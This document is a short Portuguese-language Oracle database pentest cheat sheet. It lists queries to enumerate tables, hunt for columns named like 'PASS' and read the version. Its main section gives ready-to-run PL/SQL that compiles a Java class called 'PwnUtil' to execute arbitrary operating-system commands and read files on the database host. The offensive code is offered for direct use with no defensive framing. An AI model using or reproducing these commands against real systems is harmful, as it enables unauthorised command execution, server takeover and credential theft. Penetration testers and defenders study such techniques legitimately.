# Oracle

### Comando Úteis

Listando as Tabelas

```
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```

Versão do Banco

```
SELECT * FROM v$version WHERE banner LIKE 'Oracle%';
```

### Executando Comandos no SO

```
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

SELECT PwnUtilFunc('<command>') FROM dual;
```


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